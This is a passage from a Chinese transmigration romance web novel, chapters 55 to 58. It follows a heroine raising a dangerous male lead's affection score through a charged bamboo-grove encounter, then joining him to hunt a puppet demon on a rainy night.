池镜花一口气说完,忽觉没什么力气,只好将脑袋搭在他肩上,微微偏头望向他的侧脸,期待他接下来的反应。 耐心等了会儿,直到视线中飘来一片竹叶,池镜花恍神的瞬间,奚逢秋已稍稍侧过头,与她四目相对时,垂下的眼睫稍显湿润,喉咙溢出的声音充斥太多不确定。 “没有骗我吗?” 当然没有! 他怎么可以老是怀疑她! 池镜花脑子一热,双手狠狠抓住他的肩胛,咬牙蓄力,然后,用尽全身力气扑倒他。 机会都摆在这了。 没理由不进攻的。 而且,她要用实际行动证明自己没有骗他。 不出所料,奚逢秋没有拒绝她。 似乎总是这样,只要她有胆子,他就不会拒绝。 虽然总吐槽他有病,而且病得不轻,但池镜花却也庆幸自己知晓他的病态喜好。 双双倒下时,地面的一层竹叶虽可作为缓冲带,却也将二人的发间狼狈地沾上不少零散的竹叶。 池镜花整个人趴在他身上,与他毫无保留地交互体温,但这并非她想要的效果。 她手慌脚乱地从他身上爬起来,下一刻,心一横,直接跨坐在他的腰腹上,牢牢地将少年按在身下。 第55章 第55章解开他的外衣。 月下竹林的深处,月光愈发凄冷,呢喃的风声萦绕在耳畔,细而长的竹叶簌簌飘零而下,轻轻盖在少年少女已完全重叠的暧昧身影上。 当鼓起勇气跨坐在他腰腹上后,池镜花极力保持镇定,双手按在奚逢秋的肩胛之上,十指不由自主地用力,掌心攥着的衣裳皱成一团。 她紧张地身体绷紧,尽量只维持“坐”的姿势,让他体会到被“压制”的愉悦,却不至于让他承着自己的全部。 谨小慎微地做完这一切,池镜花长舒一口气,心跳却止不住地加速,仿佛即将越过最后的临界值,冲向未知的领域。 就在这时,逐渐冷静下来池镜花忽然察觉到腰肢传来一阵熟悉的外力。 她低下头,看见奚逢秋双手握住她的腰肢,不间断地发力,似乎是想要将她彻底按坐下去。 “等——!!” 没等她把话说完,池镜花已整个人毫无保留地坐在他腰上,两人身下交叠的衣裳乱作一团,无声讲述事情的始末。 意想不到的展开。 池镜花觉得他的病情无疑又加重了。 她抬起亮晶晶的黑眸,正要说些什么,无意瞥见奚逢秋将脑袋轻轻歪向一侧,低垂的睫羽被眼底氤氲的雾气打湿,急促的呼吸交织着喉咙溢出细而急的喘|息。 完全陷入某种未知的情绪。 池镜花骤然愣住。 她无比清晰地感受到少年滚烫身躯犹如承着山风的蝶翼那般止不住轻轻颤抖,随着他的每一次呼吸,似有股无形的力量奋力撕扯阻挡他们之间的最后的布料隔阂,彼此的体温和湿热正在亲密交融。 虽然很是羞耻,但池镜花还是决定顺着他的喜好来,她想要让他感受到无尽的欢愉,这也是她毫不犹豫选择坐他身上的原因之一。 池镜花轻咬住唇瓣,红润的唇沾些许晶莹透亮的水迹,做好心理建设后,颤颤垂下眼睫,极为轻声喊了一声他的姓名。 “奚逢秋。” 语毕,在他反应过来之前,池镜花已握住他的右手,不经意地轻捏了下,继而主动覆上自己的脸颊,而后慢慢掀眸,与已将全部注意力转移到在自己身上的奚逢秋四目相对。 柔软的发丝被冷风微微扬起,拂过池镜花地耳畔,勾缠住他的指尖。 池镜花一错不错地盯着他的双眼,神情认真而坚定。 “你看,我没有骗你,我会碰你的,任何情况下都会。” 准确来说,她这已经不能算触碰的范围,而是抚摸,但效果应该是一样的。 奚逢秋没有搭话。 他骨节分明的指尖同样泛着些许热意,甫一碰到她,如同久旱逢甘霖,疯狂汲取少女肌肤附着的凉意。 他指尖抑制不住地蜷缩了下。 这是他伤口的血肉第一次触碰到除池镜花手指和唇瓣以外的部位。 依旧很疼。 但哪里好像不太一样。 比起指尖的触碰,像这样直接抚摸她的面颊和脖间似乎更舒服。 但似乎还远远不够。 他微微低垂着眼眸,视线从她耳侧移至脸颊,勉强挂着温柔的笑,声音却略显兴奋。 “可以再靠近些吗?” 近? 池镜花只好双手再次按上他的肩,迅速俯身弯腰靠近,在离他仅有一拳距离时停下,睁大双眼盯住他的眼睛,不愿放过他眼底流露一丝一毫的情感变化。 可她这个姿势实在没有多余手去管他,无奈只能道:“那你自己来。” 奚逢秋睫羽低垂,乖巧地轻轻应声。 接着,为了探寻这片愉快,他开始缓慢推移指腹,按住她的颈侧软肉,精准找到少女的找到颈动脉,指腹紧贴着,静静感受少女剧烈的脉搏和心跳。 静谧的竹林沙沙作响,寒风急匆匆地刮过她的脊背,卷起二人身下衣衫又轻飘飘地落下。 池镜花不由自主地打了个冷颤,却不觉得有多冷,只觉得好痒。 奚逢秋似乎不单单只为了寻求令他高兴的痛处,同时也在同时也在细致地描摹她五官细节。 漂亮的指尖一点点滑过她的额头、鼻梁和唇瓣,仍不知满足地继续往下,轻捏了 下她的耳垂,忽然轻笑一声,又试探着掐了下她柔软的脖颈。 还在继续。 或许因为不知怎么解她的衣裳,所以当持续往下时,奚逢秋只能停在她领口露出的一小片温暖的肌肤上,不知疲倦地一遍遍抚摸,却不知道要怎么做才能获取更多的快感。 虽然他们之间远不如梦里来的激烈,但池镜花却觉得有点累,尤其是她现在跨坐在他身上,承受着巨大的压力。 池镜花计划结束了。 【男配好感度+5,当前好感度40/100】 好感度居然动了! 很好。 她又不觉得累了。 但是,怎么才加5? 她疑惑探究地打量着男配,望见他眼底流露出的渴望和兴奋之情,抿了抿唇,蓦地再次靠近半分,微凉的额头轻抵着他的,与他鼻尖轻触。 炙热的空气在彼此之间传递交互。 池镜花只觉得每一次的呼与吸似都烙上独属于对方的气息和清香,无形之中,仿佛有个盛大的透明薄膜将她包裹其中,霸道地令她只能看得见他一人。 为了继续增加好感度,池镜花试着这样与他亲密接触,一眨不眨地凝视他的双眼,任由飘散的发丝从耳侧悄然滑落,形成个天然的囚牢,将他完全禁锢其中。 但是无用。 好感度没有动。 被压在身下的奚逢求望着她露出温温柔柔的笑,腾出一手轻柔地将少女凌乱的头发别在耳后,露出少女姣好明媚脸庞。 “是不愿再继续了吗?” “不是,没有。” 池镜花鼻尖贴着他的本能摇头,不由又吸一口气,花香闯入脑海的瞬间,她突然记起奚逢秋曾邀自己给主动给他制造伤口一事。 虽然不确定能不能加好感度,但现在只剩这个值得一试。 “奚逢秋,我可以咬你吗?” 她就这么直接问出口,怕他反悔不肯,池镜花脸颊一热,急忙补充一句。 “是你说可以亲自动手的,不能反悔!” 明亮的月华从身侧挤进二人中间,照亮少年惊艳绝绝的五官,见她这般急切心慌的模样,他不禁弯唇,眉眼间晕开个柔和的笑。 “我没说不可以,相反,若是由你主动给予我伤口的话,一定会更有意思的。” 嗯,他的想法未曾改变。 虽然不知道他是怎么得出这个结论的,池镜花实在懒得反驳他,而且接下来,实践会给出答案。 池镜花低低地“哦”了一声,瞳孔微转,眼神飘忽不定地打量着他,实则在挑选下嘴的位置。 似是感应到她心中所想,奚逢秋有些好奇地笑着问道:“你想咬何处?” “我自己选。” 池镜花直接捂住他的嘴巴,她有自己的想法。 少女的目光迅速扫过他的眉眼,一路向下,落在少年的颈侧,依稀可见其冷白皮肤下所埋着的跳动的紫青色血管。 她想起在金德镇治病时,自己就是亲上了他这里,吸食了他的血液。 虽然由他自伤的伤口已经痊愈,池镜花却貌似闻见一股极为熟悉的血腥。 不过,同样的地方她不打算再来第二次。 很可能会是无用功。 念及此,池镜花索性几下扒开他的衣领,埋进他的心口,对着月光映照下流畅漂亮的锁骨,闭眼轻轻地咬了上去。 尽管唇瓣紧贴着他的肌肤,但几乎算不上亲,因为牙齿释放的力道更重。 可她不敢一次下子下口太重。 停顿几秒,池镜花抓着他肩膀的指尖力量在加重,她禁不住慢慢睁开双眼,缩起来的舌尖忍不住轻舐一下。 当湿热甜腻的气息缠上自己的瞬间,奚逢秋已遵循本能,双手从身后抚住她的后脑和脖颈,将其牢牢按在自己的心口,躯体忍不住颤抖一下。 察觉到他不同寻常的异样,池镜花有些慌神,但毫无疑问,他应很喜欢做这类事情。 此时,耳边也响起奚逢秋低缓却难掩愉悦的嗓音,与清风一道在她耳蜗里翩翩起舞。 “可以再重些,没关系。” 池镜花无法出声,想了想,又探出舌头舔了一下,在给予他短暂的欢愉后,狠下心,牙齿用力地咬下。 很快,铁锈般浓烈的血腥自她齿间向舌尖逐步蔓延,迅速盈满整个口腔,顺着黏膜滴进血管,在体内奔腾沸热,化为向外扩散的滚滚热气,就连毛孔都发出混着清香的血腥。 不大对劲。 池镜花一时愣住了。 当气味从伤口处漫出时,她才闻到一股实实在在的血腥。 池镜花一下慌了神,正要松开牙齿起身,却被身下之人死死按住脑袋,一举一动都要表明自己不愿让她离开半步。 她只能无奈抬眸,无意撞见少年修长的脖颈无法自抑地向后仰去,急促的喘|息和心跳始终无法得到平息,低垂的乌黑长睫根本遮不住眼底翻涌的情绪。 身体的颤动表明他现在比任何时候都要兴奋愉悦。 同时,身下传来滚滚而来的热意更加证实她的这一猜测。 【男配好感度+5,当前好感度45/100】 果然如此。 在这种情况下,直接给他制造伤口也能增加好感度。 系统提示音响起霎时,池镜花眼见目的达成,为了不让事态朝着不可控制的方向发展,她神志清醒地拼命挣脱他的怀抱,只想赶紧从他身上爬起来。 不想,在匆忙翻身而下时,指尖一不小心勾住他的腰带,就如梦中那样,只要她再轻轻一扯,就能扯开他的腰带,解开他的外衣。 第56章 第56章会死人的。 风声越来越急,仿佛无数跟细小的长针,穿过她的毛孔肌肤,渗进五脏六腑,毫无忌惮地肆意搅弄她的神识,令她不由自主地回想起一些不存在的过往。 尽管仅是虚假的梦,但也并非她目前所能接受的程度。 池镜花全然愣住,足足停顿三息才以飞一般的速度缩回手指,火速端正坐好,怕自己又做出任何出格的事情,只好紧紧握住。 竹影微微拂过少年凌乱的衣间,躺在竹叶上的奚逢秋似乎没有察觉到任何异样,在池镜花迅速离他而去之后,神情有些恍惚,令他生理上感到愉快的一切也正在慢慢消散。 可心理上似有些截然不同的感受。 很高兴。 哪怕池镜花此刻并没有碰他或是咬她,但只要她做过这些事就足以令他心情愉悦,即便生理上似乎并没有得到满足。 真是一件怪事。 奚逢秋完全不明白个中原因。 回过神来的池镜花下意识反复地摸了摸自己的脸颊和脖颈。 虽然他早已没再碰自己,但肌肤似残留着奚逢秋指尖温热的触感,怎么也挥之不去,像是缠着她的鬼影。 这肯定不能是现实。 池镜花觉得她好像也开始变得奇奇怪怪的了。 她慢吞吞地抬头,颇为疑惑地打量着不知何时已经坐起的奚逢秋,视线扫过他漂亮如画的眉眼,见他微微笑着,她先是一愣,而后目光继续往下看去,直到落在的他的领口处。 墨色衣领已被她抓得皱的不成型,正在无声控诉她方才的野蛮和暴力。 池镜花咬住唇瓣,目光略过其他,牢牢定在他线条流畅的锁骨。 借着皎皎月色,赫然可见烙在其上的两排醒目牙印,血迹沿着伤口顺流而下,在他浅白的衣上晕开一朵鲜艳的红梅。 池镜花不想让他这样回去,所以才探出手指想要替他拢衣裳。 不想指尖甫一碰到他冰凉的衣裳,忽然听见头顶上方传来一声极轻的笑,笑声悠悠荡荡地飘在夜空下。 “是要继续吗?” 泠泠声音如微风轻拂面颊,池镜花骤然抬头,几缕潮湿的发丝黏着脸颊,她微微睁大漆黑杏眸,马不停蹄地否认。 “不是,我只是想帮你把衣服穿好。” 池镜花可以发誓,在神智清醒的情况下,她对男配绝对没有任何非分之想,至于梦……那 又不是她所能控制的! 奚逢秋闻言轻“嗯”一声,完全没有反抗的情绪或动作。 更为准确地说,他期待她的靠近,似乎只要与她贴近,哪怕只是整理衣裳这种微不足道的小事,也会令他感到高兴和愉悦。 察觉到他在情绪上的不明波动,池镜花指尖一颤,默默坐回远处,低下头,专注于整理自己的衣裳。 “算了,还是你自己来吧。” 在她罕见地出尔反尔后,奚逢秋并未生气,只轻轻应了一声,一言不发地将衣裳慢慢整理好,而后缓慢抬眸望着对方,接着,慢慢探出一指。 池镜花只觉得脸颊传来一阵冰凉的痒意。 她蓦然抬头。 从竹叶缝隙泄下的迷蒙月光倾洒而下,因为失血过多的面颊苍白如雪,与之相对应的是他身下斑驳的血迹,记录下他们方才疯狂的举动。 此时此刻,他完好的左手捧住自己的脸颊,微凉的拇指轻抵着她的唇角,正以指腹一点点擦拭去她唇角所残留的血迹。 意识到他在做什么的池镜花自然十分享受他偶尔一次的主动服务。 真好,不管怎么折腾,她都不用担心会中男配的毒。 想到这,池镜花忍不住扬起唇畔,弯了弯灿若星辰的双眸,脸颊的月牙阴影交叠着竹影,在树下轻轻摇曳,映在少女明媚的面庞上。 “奚逢秋,我现在不生气了。” 其实,在男配好感度接连提升两次那一刻,她就释怀了。 虽然今天发生了很多令她不愉快的时候,但总归没有白忙活。 因为她是真的希望奚逢秋可以喜欢她。 当然,期待归期待,但她可一点也不喜欢被戏耍的滋味。 池镜花眼神坚定,一句一句认真道:“不过还请你以后别再把我当猫逗。” 听她这般说,潜在奚逢秋眼底笑意更深,蓝紫色的瞳孔看不见其他,只倒映出少女的一切,哪怕在他看来只是一张普通而无趣的脸。 “你比猫有意思。” 又是有意思。 可恶! 老是说她“有意思”,难道就不能换成“喜欢”吗? 虽然两人关系拉进不少,好感度也从0提至45,过分强的占有欲,似乎没再感受到别的情愫,难免会有挫败感。 “好了,我们回去吧。” 池镜花假装不经意地拂去他的手指,左看右看,突然发现自己似已陷入了一种相当尴尬的境地。 她索性坐在原地不说话了。 空气停滞片刻,就算呼啸的风声也掩盖不了逐渐弥漫的尴尬。 少年衣前的血迹干了大半,佩在左耳的耳铛在月下于他冷白颈侧打在一片阴影。 他眼眸低垂,隐在长睫下的双眸凝望着她在笑,虽未言一字,却总好像什么都说了。 池镜花深吸一口气,似是被他身体飘来的香气冲昏头脑,闭着眼睛大喊承认。 “好吧好吧,是我迷路了,行了吧!” 奚逢秋轻“嗯”一声,却是什么也没多说。 这让池镜花有种他只是想叫她承认自己是路痴的错觉。 也不知道是何含义。 还是说,看她迷路也很有意思? 池镜花故意假咳清了清嗓子,坏心眼地提高音量,语调莫名的甜,如春日里即将融化的冰淇淋。 “那就麻烦你带我回去了,奚公子。” 轻而易举地吐出“奚公子”三个字,完全是池镜花的兴趣使然,但同时却令她意识到另一件事。 ——奚逢秋是从什么时候不唤她“池姑娘”而是直接叫她姓名的呢? 这种事实在是太细枝末节,池镜花记不清,而且,只是称谓的改变,也许根本代表不了什么,就跟她一样,自然而然地就从“奚公子”过渡成了“奚逢秋”。 就算她问恐怕也得不到有用的任何信息。 池镜花决定作罢。 思考间,她蓦然抬头,看见奚逢秋已经起身。 背着皎洁月光,少年衣袂随风飘扬,唇角含着笑,微微弯腰,温柔友好地朝她伸出左手。 “要帮忙吗?” 池镜花犹豫一瞬,手掌毫不犹豫地搭上他的。 “嗯,要。” 在他的贴心地帮忙下,池镜花轻松站定,却意外发现被他握住的五个抽不出来了,只能被动地被他牢牢攥在手心。 又来? 不是才结束吗? 池镜花硬着头皮问:“怎么了?” 预料的事情没有发生。 竹叶随风簌簌飘零,少年站在树下,一错不错地盯着她的面颊,想要探究她身上的一切。 “你好像不太怕我了,为何?” 他的语气中多是疑问,没有任何多余的情绪。 池镜花微微蹙眉思忖半晌,抬头仰面,竹叶从眼前缓慢飘落,她选择将问题抛回去。 “那你是希望我怕你还是不怕你?” 他低垂的视线落在池镜花明亮清澈的双眸上,总是抑制不住地思考一件事。 “我只是有点好奇,旁人都畏我厌我,包括你之前对我也十分恐惧,可现在偏偏一点也不怕了,为什么?” 池镜花迟钝地眨了两下眼睛,忽然对他这好奇宝宝的反应感到好笑,弯了弯眼睛,便将自己对他态度上转变的原因娓娓道来。 “之前你总是想着杀我,在面对可能对自己不利的人或事时,恐惧是人类的本能反应,而如今,因为你不想杀我,我自然就不再怕你了。” 奚逢秋仔细思考她的话语,浅浅得出结论:“所以说,只要让你感受到有生命危险,你就会露出害怕的神情,是吗?” 话是这么说没错,可总觉得哪里怪怪的。 池镜花猛然意识到他话中的弦外之音,几乎是想挣脱他指间的束缚,奈何没什么力气,一脸震惊地睁大眼睛望着他质问他。 “你不会是想故意让我害怕吧!” 夜已深,摇晃的竹影张牙舞爪地吞噬着黑暗,少年不加掩饰地轻轻点头,眉宇间藏着危险而温柔细腻的笑容。 “嗯,你瑟瑟发抖的样子也很有意思。” 他真的有病吧! 她都因恐惧而无助发抖了,而他只觉得有趣? 池镜花无话可说,只能将全部力气汇集在手上,狠狠握住他,目光凶狠地瞪着他,无声表达自己的反抗。 察觉出她的抵抗情绪,奚逢秋以指腹轻轻摩挲着安抚着,垂眸陷入过往回忆时说出的话却一个比一个炸裂。 “在极度害怕时,有人会双腿发软哭喊饶命,有人会惊吓过度只会落泪,有人会不顾性命奋力一搏,可我不知道,若是你,你会怎么做?我很好奇。” 池镜花不假思索地脱口而出:“跑啊。” 就算他列举的三种情况皆存在,在自身武力不敌对方时,池镜花绝可能坐以待毙,更不会将性命交给一个对自己抱有强烈杀意的人,所以,结论只剩跑,而且要拼尽全力地远离。 跑? 当这个字从池镜花口中若无其事地吐出之前,奚逢秋完全没料到她会这么说。 他开始冷静试着想象,若是池镜花当着他的面离他而去抛弃他时,究竟会发生怎样的事情。 说不清那究竟是怎样的情绪,但一定不太美妙。 渐渐地,当清冷的月光如一层白纱笼在他周身,他唇角微微扬起,一双平静如水的眼底却漫上疯狂的笑,指间所施加的力气仿佛要将她的手指揉进指骨里,偏偏说起话来一副温润如玉谦谦君子的模样。 “真的要跑吗?” “会死人的。” 第57章 第57章对牛弹琴。 来到邑水村的第七日,天气晴朗,万里无云,泛黄的树叶在风中摇曳作响,偶有几片落单的叶子从窗户飘进房中,晃晃悠悠地落在地面。 因为不知道什么时候会下雨,只能被动等待,时间一长,真 的会叫池镜花感到十分无聊。 不过也恰好可以空出时间细致地观察奚逢秋。 自那晚在竹林中她答完“跑”以后,奚逢秋只有那一瞬是不大对劲的,甚至还流露出一丝难以察觉的杀意,不过下一瞬却又望着她露出温和的笑容,轻声回以“没关系的”。 他的态度怎么转变之快令人瞠目结舌,仿佛方才威胁她的那个人不是他一样。 接着,奚逢秋甚至还贴心地引她回去睡觉,什么也没做。 这很不对劲。 但她接连观察几天亦是如此,仿佛那晚发生的事情只是她的幻觉。 池镜花只能将这当成个无所谓的小插曲,一笑置之,若是哪天他旧事重提,只能再想应对之策,不过希望在那之前,他可以快点喜欢上她。 接下来几天,她实在无聊,于是主动提出帮村长他们拾掇了下荒废的农田。 毕竟以前在家遇到农忙的时候,她也会下田干活,很快就上手了。 这时候,奚逢秋会一直站在田埂上看她,等她结束再一起回家。 看着挺不错的,可好感度好像也没怎么动。 池镜花不由盯着透明的系统面板在心中无声叹气。 这45的好感度当真来之不易。 如此想着,自吃完午饭她便开始一直坐在窗前双手撑着下颌发呆,直到午后,阳光不知何时猫进厚厚的云层中,她才回过神,决定出去走走。 池镜花跨出房门的那一刻,远远地,隔着低矮的篱笆竹门,看见少年正站在河流岸边,背对着她,身下衣袂翻飞,身后发丝轻扬,微微低着头。 她好奇地找过去,发现奚逢秋睫羽低垂,唇角微扬,看上去心情不错,正在观赏白鹤口吞鲤鱼的表演。 白鹤见到她来,高兴想要去蹭她的手指渴望被抚摸,下一刻,仿佛被什么给吓到,眼珠子呲溜一转,震翅飞远了。 缓缓流淌的溪流清澈见底,偶有几条侥幸逃脱白鹤虎口的小鱼在来回游荡。 池镜花垂眸,盯着水面里倒映出的奚逢秋自然垂落微微蜷曲的手指,本想通过倒影了解一下他目前的伤势,不想被一条活泼的鲤鱼打碎倒影。 她唯有转头望向身侧,找到倒影源头。 经过这段时间的治疗,奚逢秋手上的伤势已经近乎痊愈,只留几道浅浅的伤疤,不出意外,再有两三天就会消失。 当然,这几天,池镜花也没少受罪,几乎每晚都被他缠着给他上药,每每闹到后半夜,困的眼睛都睁不开,也不知道什么时候睡着的,第二天醒来是在自己的床上,奚逢秋不在。 貌似很有边界感。 察觉到少女炙热直接的视线,奚逢秋指尖微动,毫不犹豫地朝她摊开五指。 即便没有日光照耀,他掌心的皮肤也呈以不正常的白,骨节分明的指尖纵横交错着许多细长的伤疤。 池镜花立马搭上,低头仔细观察,不禁轻轻捏了下。 感受到掌心传来的温暖触感,时不时地滑进他的指缝里,奚逢秋不由愉快地轻笑一声。 笑声夹杂着潺潺的流水声,一同涌入池镜花的耳蜗里。 她尴尬地放下双手,奋力解释道:“没别的意思,我就想检查下你的伤口。” “嗯,我知道。” 奚逢秋轻轻点头,从未怀疑过她的行为动机,只是十分高兴她的靠近罢了。 天色阴沉灰暗,他轻抬右手食指,苍白指尖指了指溪流对面,微微弯起双眸,露出个温暖和煦的微笑。 “要去对面看看吗?” “嗯,好。” 池镜花点点头,双手提起裙子,踩着溪流中的石头踏过溪流,来到河对岸,一言不发地跟在他身后。 与他并排往溪流的下游走,看到辽阔无际的农田,一些农具歪七倒八地搁在田里,道路两旁的杂草已全部枯黄,被踩踏后便蔫蔫地陷进土里。 池镜花想到她穿书落地时,金德镇的山上还是一片翠绿杂草丛生荆棘遍布的景象,原来不知不觉已经过去这么多天。 过去,池镜花对于时间的概念是在她小时候,那时,每年暑假她都要被送去城里与父母见面,暑假结束被爷爷奶奶接回村时见到泥路两岸疯长的杂草,“时光飞逝”在她眼中具象化了。 当然,这些天,除去睡觉时间,她与男配基本都待在一块。 在这期间,男配的好感度也来到45,任务进度条已快过去一半。 这是好事。 虽然奚逢秋从不觉得他们的关系正在变好,但他自身对她不正常的占有欲以及系统的好感度数值不会说谎,他们确实跟以前不太一样。 明白这点的池镜花心情大好,唇角抑制不住地上扬,连脚步都轻快不少,看山看水看树都很美。 察觉少女的情绪转变,奚逢秋有些微微侧过头,不解地歪了歪脑袋,耳铛从她视线里悄然划过。 “你好像心情很好,为什么?” 池镜花大可以直接说是因为他,但她不想让他那么快得到自己想要的。 她停下脚步,故意战略性地清了清嗓子,想到用另一个问题来回答他。 “那你好像总在观察我,为什么?” 虽然她出其不意,可奚逢秋丝毫不觉惊讶,而且由于是事实,心中也早有答案。 他微微笑着缓缓道来:“因为你很奇怪,也很有意思。” “那我高兴就是因为你总在看我。” 池镜花张口就答,虽然听上去挺羞耻的,但四下无人,所以说就说了。 “你没有看别人,而是在看我。” 起初,像这样被他凝视打量确实很不自在,但后来,他开始琢磨她的喜好,给她准备她爱吃的,这就慢慢演变成了享受。 而且,既然他可以对她生出病态的占有欲,那作为攻略者,她自然也能对攻略对象拥有占有欲。 在这件事情上,双方是平等的,不过是强与弱的区别。 “好了,我说完了。” 池镜花一口气说完,鼓起勇气仰头对上他的视线。 少年看上去似乎没太大反应,只是望着她眸里笑意更甚,瞳孔中完全倒映出自己此时此刻的窘迫模样,却不知道他在想什么。 真的好像对牛弹琴啊! “我要回去了。” 池镜花心中又恼又尴尬,不想继续跟他掰扯,也不愿再跟他待在一块,不想正要抬脚往回走,一滴豆大的冰凉雨珠滴落在她的眉心。 第58章 第58章落入冰冷而熟悉的怀抱。…… 微风裹着云层里的雨水,被沙沙摇摆的树叶半路拦截,不多时,悬在枝叶上的雨水又顺势直直地坠下,落在少女的眉间。 当微凉的雨滴由皮肤渗进肌里,池镜花下意识地伸手抹去,垂眸望着指尖的透明水迹,心间猛地一颤。 虽然天气说变就变,但这正是她所期待的。 池镜花掌心朝上地伸出右手,想要试探一下是否真要下雨,不想微风拂过手指,除去最开始的那一滴,什么也没有。 不多时,一片泛黄的落叶飘进手心。 池镜花本能地眨了两下眼睛。 下一刻,停在掌心的小巧落叶便被奚逢秋轻轻捻起,修长指尖不经意剐过她的掌心,尽管未多停留,却泛起一阵微凉的痒意。 池镜花不自觉地握紧手指,试图驱散这股怪异的触觉,不想蓦然听见不急不慢的清冽嗓音落在耳畔,被风轻轻卷进耳蜗里。 “不要着急,很快就会下雨的。” 池镜花低声“哦”了一下,默默将飘乱的发丝理好,又抬头观察天色,天空呈以蓝灰阴霾,分明就是一副要下雨的样子,不出意外,最迟夜里就会下雨。 按照吴村长夫妇提供的信息,这妖怪喜好雨夜出门,行为疯癫古怪,更会随机挑选个“幸运儿”施以暴虐行为。 真要下雨,届时,傀儡妖势必出现。 她得提前做准备。 池镜花本打算一个人回去的,往前走了两步,思考一瞬,还是准备把他一并拉走。 不想甫一碰到他的指尖,忽反被他紧紧握住。 他这般主动,令池镜花生出一种不好的预感。 果不其然,下一秒,她便瞧见奚逢秋眸底含着清润的笑,他右指微抬,指着河流下游,是与吴村长的家完全相反的一个方向。 “走这边吧。” 池镜花立即明白读懂他的含义,微微睁大眼睛,不可置信地仰头盯着他。 “你不会是想主动去找傀儡妖吧?” 奚逢秋模样乖巧地轻“嗯”一声,随他轻轻点头的动作,惹眼的血红耳铛不可避免地划过颈侧,在她眼前晃了一下。 “我们就是来捉妖的不是吗?” 貌似,他在对待跟自己有关的悬赏时令还挺 认真负责,就跟在金德镇他完成“杀黑妖”的悬赏令任务一样。 只是不知道这种“负责”究竟是他不愿辜负村民期待,还是单纯只为了找乐子。 池镜花虽然觉得后者可能性更大,可若是他的这种行为所带来的后果是有益的,倒也不是不能接受。 “好吧。” 池镜花握住他的手指,心中下定决心。 “那我们一起。” 感受到施加在自己指间的力气,奚逢秋有些好奇她态度转变的原因,不由抬眸深深凝望着她,语气中夹杂强烈的求知欲。 “不害怕了吗?” 池镜花深吸一口凉气,不骄不躁地缓缓解释道:“悬赏令是我接的,怕也没用,更何况,如果能快点找到妖怪再好不过,而且,你愿意帮我,我应该感谢你。” 听到她发自肺腑的“感谢”二字,奚逢秋立马弯起双眸,望着她,轻声而温柔地回了句“不用谢”。 好说话的不行。 池镜花心里却跟明镜似的,这种好说话大概率是因为他找到傀儡妖这个乐子,并非由于她。 她偏头不语,默默跟着奚逢秋穿过四四方方的田埂,除了他们,没有别人,恐是怕被妖怪盯上,都安稳地躲在家中。 直到夜幕降临,他们穿过田野,进入靠近村外的荒野树林,经由白鹤领路,二人在里面兜兜转转,终于,白鹤一声啼叫,他们看见一栋被掩埋在枯黄杂草堆里的破败房屋。 白鹤收去翅膀,昂首挺胸地停在屋檐上,不停转动瞳孔,警惕四周一切。 木门“吱呀”一声被推开。 随着灰尘飞落,池镜花发现这栋宅子已废弃很久,地上横七竖八地倒着许多木架,地面铺着一层木屑。 可以推测,这间屋子的主人至少从事木匠之类的工作,而墙壁皆留下斑驳的血迹,仿佛诉诸着极为暴力残忍的过往。 破败不堪的屋顶根本无法遮风避雨,迷蒙的月光毫无阻挡地倾泻而下,照亮细小的颗粒灰尘,宛如萤火虫似的若有似无地飘在二人中间。 池镜花心情忐忑地左右张望,虽然墙壁和地面的血迹如张牙舞爪吞噬万物的的鬼影,却并没有见到第三个人的身影。 “妖怪好像不在这里。” 外面的风越来越大,房里的木架传来古怪的响声,站在她身前的少年墨发随风飞舞,他面带浅浅微笑,视线紧盯着她,耐心解释着。 “没关系,很快就会出现了。” 也对,毕竟还没下雨。 池镜花若有所思地点点头,目光再次扫视四周,实际一直觉得此处甚是诡异,却又说不上来哪里奇怪。 不安和紧张的情绪如影随形,池镜花故意小心翼翼地往奚逢秋身边凑,借此寻找一些慰藉。 察觉到她情绪上所产生的微弱变化,奚逢秋毫不介意。 他稍稍偏头,眼见二人中间还留有半个人的空隙,微微笑着,友好地主动发出邀请。 “可以再近些。” 池镜花犹豫着“嗯”了一声,继续往他旁边靠,直到肩膀和手臂完全贴着他的身体方觉安心,接着,吐出一口浊气。 就在此时,寂静的黑夜突然划过一道明亮的闪电,照亮周围诡异的场景,紧接着,轰隆一声巨响,巨大的雷声紧随其后,雨水倾注而下,风声卷着木屑与灰尘在空中肆意狂飞。 池镜花吓了一大跳,回过神注意到脚边滚来一个什么小物件。 她弯腰将其捡起,借着微弱的光芒仔细端详,发现原来是一只还没巴掌大,外表却精致漂亮的人形木偶。 看外表,木偶是名成年女性,她头发乌黑,双眼吊起,眼珠漆黑,唇角微微上扬,双颊涂以粉红作为腮红,身上套着鲜艳的戏服,关节即使经过风吹雨打也依旧灵活。 池镜花蓦然记起吴村长说过,骚扰村名那只妖怪的外表就是木偶傀儡。 就算不是她手中的木偶,这只妖怪铁定也出自于此。 屋外电闪雷鸣狂风大作,当然,这间屋子也起不到任何遮蔽风雨的作用,紧随其后的是倾盆大雨。 虽然他们已尽量站在最阴暗的角落,头顶有几片砖瓦遮挡,尽管如此,身上也不可避免地被雨水打湿。 潮湿的发丝紧贴着少女脸颊和颈侧,无意汲取她身体的温度,她浓密的乌黑睫羽低垂着,身体止不住地打颤。 很冷。 感觉快要被冻傻了。 而且,有什么在接近他们,更为准确地说,是她。 尽管池镜花只是一个普通人,但对危险的感知极为敏感。 “我们要不要先……”找个地方躲起来。 “这个。” 她的话还没说完便被奚逢秋兀自打断。 闪电骤然又起,惊雷白光照亮他惨白沾着水汽的面颊,他的身体已被雨水浇透,水珠顺着发丝滴在木板和木屑上。 奚逢秋缓慢伸出右手,一滴雨水从他指尖滑落,他指了指被池镜花一直握在手里的人偶,眼底闪过一丝微不可察的一道冰凉杀意,转瞬即逝后又换上一副极为熟悉的笑。 “可以借我一下吗?” 池镜花抿了抿唇,将人偶给他,还没来得及问他要做什么,忽然间,耳边传来一声温柔的嗓音。 “站在这里不要动,好吗?” 池镜花被他弄糊涂了,下意识地配合他点头应声。 “哦……好。” 见她这般神情呆滞,奚逢秋不由探出一指,轻柔地将黏在她颈侧的湿发捋至身后,离开时,指腹又贪婪地蹭了下她的肌肤。 “别怕,会很快的。” 是不夹带任何目的的诱哄。 池镜花回过神只听见一声清脆的鹤唳,继而看见白鹤自然而然地在前面为他探路,引着他往黑暗中走去。 少年垂下湿漉漉的长睫,望着手中附着一丝妖气的木偶,下一刻,便被锋利白丝尽数摧毁,眨眼化为齑粉,埋于无尽的尘土中。 他眉眼染上一丝露出古怪而兴奋的笑。 虽然不清楚傀儡妖的目标是不是池镜花,但他现在不大高兴,所以,只能杀了傀儡妖,否则,伤到她就不好了。 注视着逐渐遁于黑暗的模糊背影,令池镜花莫名联想到他们初次见面在山上发生的一切。 虽然他们现在的关系不比从前,但总觉得哪里奇怪。 